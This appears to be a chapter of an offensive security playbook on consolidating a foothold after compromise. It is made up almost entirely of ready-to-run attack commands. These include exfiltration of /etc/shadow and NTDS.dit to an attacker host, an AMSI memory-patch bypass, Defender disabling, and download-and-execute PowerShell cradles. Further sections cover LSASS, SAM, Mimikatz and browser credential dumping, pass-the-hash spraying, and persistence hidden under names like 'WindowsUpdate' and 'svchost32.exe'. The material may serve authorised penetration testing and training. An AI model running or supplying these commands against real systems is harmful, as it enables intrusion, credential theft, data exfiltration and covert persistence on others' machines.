Skip to content

Chapter 4: Foothold Consolidation

Tags: #foothold #shell-upgrade #file-transfer #credential-extraction #lsass #mimikatz #lazagne #pass-the-hash #situational-awareness

Overview

You have a shell. Now you need to survive in it and profit from it. Consolidation has four jobs: (1) make your shell stable and interactive, (2) get tools onto the machine, (3) extract every credential available from memory and disk, (4) understand your position well enough to route to the correct next chapter. Do not skip step 4 — pivoting to AD when you already have local admin wastes time, and skipping to Chapter 6 when you're stuck as an unprivileged user wastes more.

Master Consolidation Decision Tree

You have a shell. What kind?
├── Raw netcat / web shell / dumb reverse shell?
│    └── § 1 — Upgrade to interactive first
├── Meterpreter session?
│    └── Skip § 1, go straight to § 3 (Linux) or § 4+§ 5 (Windows)
└── SSH / RDP / WinRM session (already interactive)?
     └── Skip § 1 AND § 2, go straight to § 3 (Linux) or § 4+§ 5 (Windows)

After upgrading (§ 1) →

Which OS?
├── LINUX  → § 3 (Linux transfers) → § 6 (Linux creds) → § 7 (situational awareness)
└── WINDOWS → § 4 (AMSI bypass) → § 5 (Windows transfers) → § 6 (Windows creds) → § 7 (situational awareness)

After extracting creds (§ 6) →

Route decision:
├── Already SYSTEM / root?
│    └── → Chapter 6: Pivot & Lateral Movement
├── Have domain creds or hash?
│    └── → Chapter 7: Active Directory (run alongside Chapter 6)
└── Unprivileged local user?
     └── → Chapter 5: Privilege Escalation

1. Shell Stabilization & Upgrade

Warning

Raw shells die on CTRL+C, don't support tab completion, and break on interactive prompts (sudo, passwd). Always upgrade before running anything that could hang.

Linux — Python PTY Upgrade

# Step 1: spawn PTY in the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# (if python3 unavailable, try python or python2)

# Step 2: background the shell and configure local terminal
CTRL+Z
stty raw -echo; fg

# Step 3: fix terminal size inside the shell
export TERM=xterm
stty rows 50 cols 200
Expected: full interactive shell with arrow keys, tab completion, and CTRL+C working.

Linux — Alternative Upgrade Methods

# script
/usr/bin/script -qc /bin/bash /dev/null

# socat (listener side) — cleaner than Python PTY
socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>

# socat (target side) — requires socat on target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:<LPORT>

Windows — Upgrade to PowerShell

# From cmd.exe shell
powershell -ep bypass

Meterpreter — Quick Reference

# Useful Meterpreter post-shell commands
sysinfo                        # hostname, OS, domain
getuid                         # current user
getsystem                      # auto-escalation attempt (SYSTEM)
ps                             # process list
migrate <PID>                  # migrate to stable process (e.g., explorer.exe)
shell                          # drop to OS shell
upload /local/path /remote/path
download /remote/path /local/path
run post/multi/manage/shell_to_meterpreter  # upgrade shell session to meterpreter

2. Establish Listener (If Shell Is Not Already Connected)

Info

Set up the multi/handler BEFORE triggering any payload. Race conditions kill shells.

# Metasploit multi/handler
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/shell/reverse_tcp   # or linux, meterpreter variants
set LHOST <ATTACKER_IP>
set LPORT <LPORT>
set ExitOnSession false
run -j

# Plain netcat listener
nc -lvnp <LPORT>

# rlwrap for arrow-key support on nc (Linux)
rlwrap nc -lvnp <LPORT>

3. File Transfers — Linux Target

Info

Pick the method based on what's available. wget/curl are almost always present on Linux. Python is a reliable fallback. Use base64 encoding for environments that block HTTP.

Download to Linux Target (Pulling Tools In)

wget / curl (most common)

wget http://<ATTACKER_IP>:<PORT>/<FILE> -O /tmp/<FILE>
curl http://<ATTACKER_IP>:<PORT>/<FILE> -o /tmp/<FILE>

# Silent, follow redirects
curl -s -L http://<ATTACKER_IP>:<PORT>/<FILE> -o /tmp/<FILE>

Python fallback

python3 -c "import urllib.request; urllib.request.urlretrieve('http://<ATTACKER_IP>:<PORT>/<FILE>', '/tmp/<FILE>')"
python2 -c "import urllib; urllib.urlretrieve('http://<ATTACKER_IP>:<PORT>/<FILE>', '/tmp/<FILE>')"

Bash /dev/tcp (no tools required)

exec 3<>/dev/tcp/<ATTACKER_IP>/<PORT>
echo -e "GET /<FILE> HTTP/1.1\nHost: <ATTACKER_IP>\n\n" >&3
cat <&3 > /tmp/<FILE>

SCP (if SSH access or keys available)

scp <LOCAL_FILE> <USER>@<TARGET_IP>:/tmp/<FILE>
scp <USER>@<TARGET_IP>:/remote/file /local/destination

Netcat receive

# Attacker (sender):
nc -q 0 <TARGET_IP> <PORT> < <FILE>
# Target (receiver):
nc -lvnp <PORT> > /tmp/<FILE>

Start HTTP Server on Attacker (Python)

# Python 3
python3 -m http.server <PORT>

# Python 2
python2 -m SimpleHTTPServer <PORT>

Upload From Linux Target (Exfiltrating)

# POST to netcat listener on attacker
curl -X POST http://<ATTACKER_IP>:<PORT>/ -d @/etc/passwd

# SCP out
scp /etc/shadow <USER>@<ATTACKER_IP>:/tmp/

# Netcat push
cat /etc/shadow | nc <ATTACKER_IP> <PORT>

Base64 Encode/Decode (No Network Method)

# Encode file on target, copy text to attacker:
cat /etc/shadow | base64 -w 0

# Decode on attacker:
echo '<BASE64_STRING>' | base64 -d > shadow_file

# Transfer binary tools this way when HTTP is blocked
cat linpeas.sh | base64 -w 0
# On attacker: echo '<BASE64>' | base64 -d > linpeas.sh

4. AMSI & Defender Bypass (Do This Before Dropping Tools)

Warning

If you skip AMSI bypass, PowerShell-based tools (PowerView, PowerUp, Rubeus, etc.) will be blocked. Do this first on every Windows foothold before running anything.

AMSI Bypass Decision Tree

Is PowerShell your execution context?
├── YES
│    ├── Try in-memory patch first (no disk writes)
│    ├── If patching fails → try downgrade to PS v2 (if available)
│    └── If both fail → switch to cmd.exe + .NET alternatives
└── NO (cmd.exe / WScript / CScript)
     └── AMSI does not apply — proceed to execution

Method 1: Memory Patch (Preferred — No Disk Writes)

# PowerShell AMSI bypass — patches AmsiScanBuffer to always return clean
$a=[Ref].Assembly.GetTypes();ForEach($b in $a){if($b.Name -like "*iUtils"){$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d){if($e.Name -like "*Context"){$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

Method 2: PowerShell Version Downgrade

# Check if v2 is available (requires .NET 2.0)
powershell.exe -version 2
# If it launches, AMSI is not present in v2 — run commands here
powershell.exe -version 2 -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/PowerView.ps1')"

Method 3: Execution Policy + Encoding

# Bypass execution policy
Set-ExecutionPolicy Bypass -Scope Process -Force

# Base64-encode your command to bypass string detection
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://<LHOST>/tool.ps1")'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell.exe -enc $encoded

Method 4: .NET Reflection Alternative (No PS Required)

# Use .NET directly via cmd — bypasses PS AMSI entirely
# Load and run .NET assembly from disk
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\temp\tool.dll

Defender Exclusion (Requires Local Admin)

# Add exclusion for working directory — prevents real-time scanning of dropped files
Set-MpPreference -ExclusionPath "C:\Windows\Temp"
Set-MpPreference -ExclusionPath "C:\Users\Public"

# Disable real-time monitoring entirely (noisy — use only if exclusions insufficient)
Set-MpPreference -DisableRealtimeMonitoring $true

# Check current Defender status
Get-MpComputerStatus | Select RealTimeProtectionEnabled, AMSIEnabled

Verify Bypass Worked

# Test — this string triggers AMSI without bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

# After bypass — should return the type object without error
# If still blocked, try a different method

5. File Transfers — Windows Target

Info

PowerShell is the Swiss Army knife for Windows transfers. certutil and bitsadmin are native fallbacks when PowerShell is locked down. Avoid touching disk where possible — prefer running payloads directly in memory.

Download to Windows Target

PowerShell — DownloadFile (to disk)

(New-Object Net.WebClient).DownloadFile('http://<ATTACKER_IP>:<PORT>/<FILE>', 'C:\Windows\Temp\<FILE>')

# Or shorter with alias
IWR http://<ATTACKER_IP>:<PORT>/<FILE> -OutFile C:\Windows\Temp\<FILE>

PowerShell — DownloadString + IEX (fileless, in-memory execution)

IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/<SCRIPT>.ps1')

# Or with Invoke-WebRequest
IEX (IWR http://<ATTACKER_IP>:<PORT>/<SCRIPT>.ps1 -UseBasicParsing)

PowerShell — bypass execution policy if needed

powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/<SCRIPT>.ps1')"

# Constrained Language Mode check (will break IEX):
$ExecutionContext.SessionState.LanguageMode
# If "ConstrainedLanguage" → use certutil/bitsadmin instead

certutil (always available, AV-detected but reliable)

certutil -urlcache -split -f http://<ATTACKER_IP>:<PORT>/<FILE> C:\Windows\Temp\<FILE>

bitsadmin (native, slower but stealthy)

bitsadmin /transfer <JOB_NAME> /download /priority normal http://<ATTACKER_IP>:<PORT>/<FILE> C:\Windows\Temp\<FILE>

SMB transfer (impacket smbserver on attacker)

# Attacker: start SMB share
impacket-smbserver share /tmp/share -smb2support

# Target: copy from share (or execute directly)
copy \\<ATTACKER_IP>\share\<FILE> C:\Windows\Temp\<FILE>
SMB transfers bypass many proxy controls. If PowerShell HTTP is blocked, try SMB first.

SMB — authenticated share (AV-evasive)

# Attacker:
impacket-smbserver share /tmp/share -smb2support -username <USER> -password <PASSWORD>

# Target:
net use \\<ATTACKER_IP>\share /user:<USER> <PASSWORD>
copy \\<ATTACKER_IP>\share\<FILE> C:\Windows\Temp\

Windows Fileless Execution Examples

# Run mimikatz in-memory (avoid touching disk)
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'

# Run Seatbelt in-memory
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Group=all

Upload From Windows Target (Exfiltrating)

# PowerShell upload via POST to Python listener
$body = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.txt')
Invoke-WebRequest -Uri http://<ATTACKER_IP>:<PORT>/upload -Method POST -Body $body
# Attacker Python listener to receive file:
python3 -c "
import http.server, socketserver, os
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers['Content-Length'])
        d = self.rfile.read(l)
        open('/tmp/received_file','wb').write(d)
        self.send_response(200); self.end_headers()
socketserver.TCPServer(('',<PORT>), H).serve_forever()
"

SMB exfil

copy C:\Windows\NTDS\NTDS.dit \\<ATTACKER_IP>\share\

Base64 encode on Windows

[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\Temp\file.txt'))
# Decode on attacker: echo '<BASE64>' | base64 -d > file.txt


6. Credential Extraction

Decision Tree — What to Extract First

Which OS?
├── WINDOWS
│    ├── Are you SYSTEM or local admin?
│    │    ├── YES → § 6a (LSASS dump) → § 6b (SAM/Registry dump) → § 6c (Mimikatz)
│    │    └── NO  → check if you can escalate first (Chapter 5), then return here
│    │
│    └── Is machine domain-joined?
│         ├── YES → also run § 6d (domain credential hunting: NTDS.dit)
│         └── NO  → local creds only
└── LINUX
     ├── Are you root?
     │    ├── YES → § 6e (/etc/shadow dump) → § 6f (Linux cred hunting)
     │    └── NO  → check readable files for plaintext creds, then Chapter 5
     └── Is this a server? → check § 6f (config files, app creds, bash history)

6a. LSASS Dump (Windows — Requires SYSTEM or Admin)

Method 1: rundll32 + comsvcs.dll (native, no extra tools)

# Get LSASS PID first
tasklist /fi "imagename eq lsass.exe"

# Dump to file (run as SYSTEM/Admin)
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> C:\Windows\Temp\lsass.dmp full

Method 2: ProcDump (sysinternals — may trigger AV)

procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

Parse LSASS dump on attacker (pypykatz)

pypykatz lsa minidump lsass.dmp
Look for: plaintext passwords (if WDigest enabled), NTLM hashes, Kerberos tickets.

6b. SAM & SYSTEM Registry Dump (Windows)

Method 1: reg.exe save (on target)

reg.exe save hklm\sam C:\Windows\Temp\sam.save
reg.exe save hklm\system C:\Windows\Temp\system.save
reg.exe save hklm\security C:\Windows\Temp\security.save

Parse with secretsdump (on attacker)

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

Method 2: Remote secretsdump (if you have admin creds)

impacket-secretsdump <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
impacket-secretsdump <DOMAIN>/<USER>@<TARGET_IP> -hashes :<NTLM_HASH>

Method 3: CrackMapExec (remote dump)

crackmapexec smb <TARGET_IP> -u <USER> -p <PASSWORD> --sam
crackmapexec smb <TARGET_IP> -u <USER> -p <PASSWORD> --lsa

6c. Mimikatz (Windows — Requires Admin/SYSTEM)

# On target (interactive)
mimikatz.exe

privilege::debug
# Expected: "Privilege '20' OK" — if not, you lack admin

sekurlsa::logonpasswords
# Dumps all currently logged-on user credentials (plaintext + NTLM)

lsadump::sam
# Dumps SAM database (local accounts + NTLM hashes)

lsadump::secrets
# LSA secrets (service account passwords, DCC2 hashes)

lsadump::cache
# Domain Cached Credentials (DCC2 — slow to crack)

sekurlsa::ekeys
# AES Kerberos keys (better than NTLM for Pass-the-Key)

kerberos::list /export
# Export all Kerberos tickets to disk for Pass-the-Ticket

Invoke-Mimikatz (in-memory, PowerShell)

IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

6c-ii. DPAPI — Decrypting Browser/App Credentials

With DA (Remote — DonPAPI)

# DonPAPI: dump DPAPI secrets remotely across the domain
# Extracts: Chrome/Edge passwords, WiFi keys, RDP credentials, vaults
pip3 install donpapi
DonPAPI.py domain/user:password@<TARGET_IP>
DonPAPI.py domain/user:password@<DC_IP> --targets targets.txt   # bulk

# Output stored in ~/.donpapi/<domain>/

With Local Admin (SharpDPAPI — On-Box)

# SharpDPAPI — extract DPAPI secrets from current user context
.\SharpDPAPI.exe credentials        # user credential manager
.\SharpDPAPI.exe rdg                # RDG Manager saved credentials
.\SharpDPAPI.exe blob /target:C:\path\to\blob   # specific blob

# With backup key (post-DA — extract masterkey from DC)
.\SharpDPAPI.exe masterkeys /pvk:backup_key.pvk  # decrypt all masterkeys
.\SharpDPAPI.exe credentials /pvk:backup_key.pvk  # then dump all creds

# Extract DPAPI backup key with Mimikatz (requires DA)
lsadump::backupkeys /system:<DC_FQDN> /export

Chrome Credential Extraction (Manual — Low Privilege User)

# Chrome stores creds in SQLite DB — copy it out first (Chrome must be closed)
copy "C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" C:\temp\logindata

# Then extract with SharpChrome or manually decrypt with DPAPI
.\SharpChrome.exe logins /unprotect       # decrypts in current user context
.\SharpChrome.exe cookies /unprotect      # grab session cookies

6d. NTDS.dit Dump (Domain Controller — All Domain Hashes)

Warning

This requires Domain Admin or equivalent. The NTDS.dit file contains every domain user's password hash.

# VSS shadow copy method (on DC)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM
# Remote dump (if DA creds available)
impacket-secretsdump -just-dc-ntlm <DOMAIN>/<DA_USER>:<PASSWORD>@<DC_IP>
impacket-secretsdump -just-dc-ntlm <DOMAIN>/<DA_USER>@<DC_IP> -hashes :<NTLM>

# With NTDS.dit + SYSTEM locally
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL

6e. Linux Shadow & Credential Files

# /etc/shadow (requires root)
cat /etc/shadow
cat /etc/passwd

# Combine for John
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

6f. Linux Credential Hunting

# Configuration files with passwords
find / -name "*.conf" -o -name "*.config" -o -name "*.cnf" 2>/dev/null | xargs grep -l "password\|passwd\|secret\|key" 2>/dev/null

# Web application configs (very common wins)
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
find /var/www -name "*.php" 2>/dev/null | xargs grep -l "DB_PASSWORD\|password\|pass\b" 2>/dev/null | head -20

# Bash history
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null

# SSH private keys
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null
cat ~/.ssh/id_rsa

# Cron jobs (may contain credentials or interesting scripts)
cat /etc/crontab
ls -la /etc/cron*
crontab -l

# Environment variables (DB passwords often here in containers/apps)
env | grep -iE "pass|secret|key|token|db"
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|secret|key" | sort -u

6g. LaZagne — Application-Stored Credentials

Info

LaZagne recovers credentials stored by browsers, chat clients, mail clients, databases, git, WiFi, and more. On Windows, these are often plaintext. One of the highest-yield tools per minute spent.

Windows

# Run all modules
python2.7 laZagne.exe all

# Specific category
lazagne.exe browsers
lazagne.exe sysadmin   # git, WinSCP, FileZilla, PuTTY
lazagne.exe databases
lazagne.exe mail

# Write output to file
lazagne.exe all -oN -output C:\Windows\Temp\lazagne_results.txt

Linux

# All modules
python3 laZagne.py all

# Browsers only
python3 laZagne.py browsers
Common wins: Chrome saved passwords, Firefox, FileZilla FTP credentials, WinSCP, PuTTY private keys, git credentials, database connection strings.


7. Situational Awareness

Info

Run this before routing to the next chapter. You need to know: your privilege level, network topology (can you reach other hosts?), and domain membership (is this in AD?). These three facts determine your next move.

Windows Situational Awareness

# Identity and privileges
whoami
whoami /priv
whoami /groups

# Hostname and domain membership
hostname
systeminfo | findstr /B /C:"Domain"
net config workstation      # shows domain/workgroup

# Local users and groups
net user
net localgroup administrators

# Network interfaces and routing
ipconfig /all
route print

# Active connections (find other reachable hosts)
netstat -ano

# ARP table (recently-seen hosts)
arp -a

# Processes (look for AV, EDR, backup agents)
tasklist /v
tasklist | findstr -i "defender\|sentinel\|carbon\|crowd\|cylance\|edr"

Seatbelt — Comprehensive Windows Recon

# Run all checks (noisy but thorough)
.\Seatbelt.exe -group=all

# Targeted checks
.\Seatbelt.exe CredEnum                 # credential providers
.\Seatbelt.exe WindowsCredentialFiles   # .rdg, .cred files
.\Seatbelt.exe SavedRDPConnections      # previously-used RDP targets
.\Seatbelt.exe DotNetVersion            # detect .NET version
.\Seatbelt.exe Antivirus                # installed AV products
.\Seatbelt.exe NetworkProfiles          # Wi-Fi + VPN profiles

# In-memory via PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Group=all 2>&1 | Tee-Object /tmp/seatbelt_output.txt

Linux Situational Awareness

# Identity
id
whoami
sudo -l       # can we sudo? which commands?

# OS info
uname -a
cat /etc/os-release
cat /etc/issue

# Network
ip a
ip route
cat /etc/hosts
ss -tulpn     # listening ports (find internal services)
arp -a

# Domain/AD membership
realm list 2>/dev/null     # SSSD realm
cat /etc/sssd/sssd.conf 2>/dev/null
id <domain_user> 2>/dev/null   # test if AD-integrated

# Installed tools (useful for pivoting)
which nc ncat socat python3 python perl ruby wget curl ssh 2>/dev/null

8. Password Cracking

Info

Crack hashes offline. Never brute-force hashes online against a target — use Pass-the-Hash instead if you just need lateral movement.

Hashcat — Common Modes

# NTLM hash (most Windows)
hashcat -m 1000 <HASH_FILE> /usr/share/wordlists/rockyou.txt

# NetNTLMv2 (from Responder/NTLM relay captures)
hashcat -m 5600 <HASH_FILE> /usr/share/wordlists/rockyou.txt

# SHA-512 (Linux /etc/shadow)
hashcat -m 1800 <HASH_FILE> /usr/share/wordlists/rockyou.txt

# bcrypt (WordPress, slow)
hashcat -m 3200 <HASH_FILE> /usr/share/wordlists/rockyou.txt

# MD5 (web app)
hashcat -m 0 <HASH_FILE> /usr/share/wordlists/rockyou.txt

# SHA-1
hashcat -m 100 <HASH_FILE> /usr/share/wordlists/rockyou.txt

# DCC2 — Domain Cached Credentials (very slow)
hashcat -m 2100 <HASH_FILE> /usr/share/wordlists/rockyou.txt

# Rules-based attack (best for real passwords)
hashcat -m 1000 <HASH_FILE> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Combination attack
hashcat -m 1000 -a 1 <HASH_FILE> wordlist1.txt wordlist2.txt

# Mask attack (known pattern: 8 chars, uppercase + number)
hashcat -m 1000 -a 3 <HASH_FILE> ?u?l?l?l?l?l?d?d

John the Ripper

# Auto-detect format and crack
john <HASH_FILE> --wordlist=/usr/share/wordlists/rockyou.txt

# Force format
john <HASH_FILE> --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
john <HASH_FILE> --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt

# Show cracked passwords
john <HASH_FILE> --show

# Unshadow + crack
unshadow /etc/passwd /etc/shadow > hashes.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

CUPP — Targeted Wordlist Generation

Info

CUPP generates wordlists based on target-specific information (name, birthdate, pet names, company). Use before running rockyou against personal accounts (VPN, email, portal logins).

# Interactive profile builder
python3 cupp.py -i

# Alecto built-in common password database
python3 cupp.py -a

# Crack with generated list
hashcat -m 1000 <HASH_FILE> <OUTPUT_FROM_CUPP>.txt

9. Pass-the-Hash (PTH) & Pass-the-Ticket (PTT)

Info

If you have an NTLM hash, you often don't need to crack it. Use it directly for lateral movement. This is almost always faster than cracking.

Pass-the-Hash Decision Tree

Do you have an NTLM hash?
├── YES
│    ├── Is target running SMB? (port 445)
│    │    ├── impacket-psexec → SYSTEM shell
│    │    ├── impacket-wmiexec → cmd shell (no service created, stealthier)
│    │    └── impacket-smbexec → cmd shell (semi-interactive)
│    │
│    ├── Is WinRM running? (port 5985/5986)
│    │    └── evil-winrm -H <NTLM_HASH>
│    │
│    ├── Is RDP open? (port 3389) AND restricted admin enabled?
│    │    └── xfreerdp /pth:<NTLM_HASH>
│    │
│    └── Want spray across multiple hosts?
│         └── crackmapexec smb <CIDR> -u <USER> -H <NTLM>
└── NO → crack the hash first (§ 8) or try Pass-the-Ticket if Kerberos

impacket — PTH Execution

# SYSTEM shell via SMB (most reliable)
impacket-psexec <DOMAIN>/<USER>@<TARGET_IP> -hashes :<NTLM_HASH>

# CMD shell via WMI (no service creation — stealthier)
impacket-wmiexec <DOMAIN>/<USER>@<TARGET_IP> -hashes :<NTLM_HASH>

# CMD shell via SMB exec
impacket-smbexec <DOMAIN>/<USER>@<TARGET_IP> -hashes :<NTLM_HASH>

# If domain is unknown or local account:
impacket-psexec ./<LOCAL_USER>@<TARGET_IP> -hashes :<NTLM_HASH>

CrackMapExec — PTH Spray

# Single host auth check
crackmapexec smb <TARGET_IP> -u <USER> -H <NTLM_HASH>

# Subnet spray
crackmapexec smb <CIDR>/24 -u <USER> -H <NTLM_HASH>

# Exec command on success
crackmapexec smb <TARGET_IP> -u <USER> -H <NTLM_HASH> -x "whoami"

evil-winrm — PTH

evil-winrm -i <TARGET_IP> -u <USER> -H <NTLM_HASH>

xfreerdp — PTH (requires Restricted Admin mode enabled on target)

xfreerdp /v:<TARGET_IP> /u:<USER> /pth:<NTLM_HASH>

Pass-the-Ticket (PTT) — Kerberos

# Export tickets with Mimikatz (on Windows target)
# mimikatz: sekurlsa::tickets /export
# or: kerberos::list /export

# Import ticket into session
mimikatz # kerberos::ptt <TICKET_FILE>.kirbi

# Rubeus — request TGT with NTLM hash (Overpass-the-Hash)
.\Rubeus.exe asktgt /user:<USER> /rc4:<NTLM_HASH> /ptt

# Rubeus — import existing ticket
.\Rubeus.exe ptt /ticket:<BASE64_TICKET_OR_FILE>

# Verify ticket loaded
klist

10. Pre-DA Persistence (Maintain Access Before Escalating)

Info

Establish persistence immediately after getting a stable foothold — before starting noisy enumeration. If your shell dies, you need a way back in without re-exploiting.

Persistence Decision Tree

Current access level?
├── Local user (no admin)
│    ├── Startup folder (user-level): C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
│    └── Registry Run key (HKCU): HKCU\Software\Microsoft\Windows\CurrentVersion\Run
├── Local admin
│    ├── BITS job (fileless, survives reboot)
│    ├── COM object hijacking (user or HKLM)
│    ├── Scheduled task (SYSTEM context)
│    └── Service installation
└── Domain Admin → see Chapter 7 post-DA persistence

Method 1: Startup Folder (User-Level — No Admin)

# Drop payload into user startup — executes on next login
copy C:\temp\shell.exe "C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"

# Or use a .lnk shortcut pointing to a script (less suspicious name)
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDriveHelper.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$Shortcut.Arguments = "/c powershell -enc <BASE64_PAYLOAD>"
$Shortcut.Save()

Method 2: BITS Job (Fileless — Survives Reboot)

# BITS job that downloads and executes payload after each reboot
bitsadmin /create /system BackgroundSync
bitsadmin /addfile BackgroundSync http://<LHOST>/beacon.exe C:\Windows\Temp\svchost32.exe
bitsadmin /SetNotifyCmdLine BackgroundSync C:\Windows\Temp\svchost32.exe NULL
bitsadmin /SetMinRetryDelay BackgroundSync 60
bitsadmin /resume BackgroundSync

# List BITS jobs (for cleanup)
bitsadmin /list /allusers /verbose

Method 3: Registry Run Key (Admin — HKLM for all users)

# HKCU — current user only, no admin needed
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\update.exe" /f

# HKLM — all users, requires admin
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\update.exe" /f

Method 4: COM Object Hijacking (Stealthy — User Level)

# Find COM objects loaded by a target process (e.g., explorer.exe)
# that can be hijacked at HKCU (no admin needed)
# Tool: ProcessMonitor — look for HKCU\...\InProcServer32 "NAME NOT FOUND" results

# Once target CLSID identified:
$RegPath = "HKCU:\Software\Classes\CLSID\{<CLSID>}\InProcServer32"
New-Item -Path $RegPath -Force
Set-ItemProperty -Path $RegPath -Name "(Default)" -Value "C:\Users\<USER>\AppData\Local\payload.dll"
Set-ItemProperty -Path $RegPath -Name "ThreadingModel" -Value "Apartment"
# Next time the application loads that COM object, your DLL executes

Method 5: Scheduled Task (Admin — SYSTEM Context)

# Create task that runs payload as SYSTEM every hour
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\Temp\update.exe" /sc hourly /ru SYSTEM /f

# Or on-login trigger
schtasks /create /tn "OneDriveHelper" /tr "C:\Windows\Temp\update.exe" /sc onlogon /ru SYSTEM /f

# List all tasks for cleanup
schtasks /query /fo LIST /v | findstr /i "task name\|run as"

Cleanup Tracking

For each persistence mechanism:
├── Log: mechanism type, key/path/task name, payload path, timestamp
├── Test: verify it fires (reboot/login simulation if possible)
└── Remove at engagement end:
    ├── Startup: del "C:\Users\...\Startup\payload.exe"
    ├── BITS: bitsadmin /cancel BackgroundSync
    ├── RegRun: reg delete "HKCU\...\Run" /v WindowsUpdate /f
    └── Schtask: schtasks /delete /tn "TaskName" /f

11. Routing Decision

After completing §1–10, use this matrix to determine your next chapter.

Condition Route
Unprivileged shell (non-admin user, Linux or Windows) Chapter 5: Privilege Escalation
Local admin / SYSTEM on Windows Chapter 5 §Windows or direct to Chapter 6 if network is interesting
Root on Linux Chapter 6: Pivoting if internal network reachable
Domain user credentials (any level) Chapter 7: Active Directory (run alongside Chapter 6)
Domain Admin hash or TGT Chapter 7 §DA — skip to post-DA actions
Isolated host, no domain, no internal network → Finish Chapter 5 for completeness, then Chapter 9 (report)
Quick check before routing:
├── Run: net config workstation (Windows) or realm list (Linux)
│    ├── Domain joined? → Chapter 7 is relevant
│    └── Workgroup only? → Chapter 7 is not needed
├── Run: arp -a + route print (Windows) or ip route + arp -a (Linux)
│    ├── Other subnets visible? → Chapter 6 (pivoting) is needed
│    └── Single host, no routing? → Chapter 6 not needed
└── Run: whoami /priv (Windows) or id + sudo -l (Linux)
     ├── Already SYSTEM/root/admin? → Chapter 6 + 7 directly
     └── Unprivileged? → Chapter 5 first